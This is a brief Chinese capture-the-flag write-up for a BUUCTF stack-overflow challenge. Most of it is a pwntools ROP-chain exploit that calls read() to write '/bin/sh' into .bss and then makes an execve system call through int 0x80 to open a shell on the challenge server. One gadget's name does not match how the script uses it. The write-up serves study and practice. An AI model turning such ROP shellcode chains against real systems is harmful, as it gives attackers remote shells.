简单粗暴,就是让你栈溢出,但这道题没有sys,需要自己构造,需要自己找大量的汇编代码,来进行系统调用。
其实就是控制eax=11 ebx=‘binsh’ ecx=0 edx =0
其实binsh 在该程序中没有,需要我们自行输入,我们可以调用read函数来往bss段上输入一个字符串
from pwn import *
p = remote("node4.buuoj.cn",26378)
read = 0x0806cd50
int_80 = 0x080493e1
pop_eax_ret = 0x080bae06
pop_edx_ecx_eax_ret = 0x0806e850
bss_addr = 0x080eb584
payload = "a" * 0x20 + p32(read)
payload += p32(pop_edx_ecx_eax_ret)
payload += p32(0) + p32(bss_addr) + p32(8)
payload += p32(pop_eax_ret) + p32(0x0b)
payload += p32(pop_edx_ecx_eax_ret) + p32(0) + p32(0) + p32(bss_addr)
payload += p32(int_80)
p.sendlineafter(":", payload)
p.sendline("/bin/sh\x00")
p.interactive()
继续练习的同时也要打捞汇编基础
原文:https://www.cnblogs.com/binaryran/p/15225587.html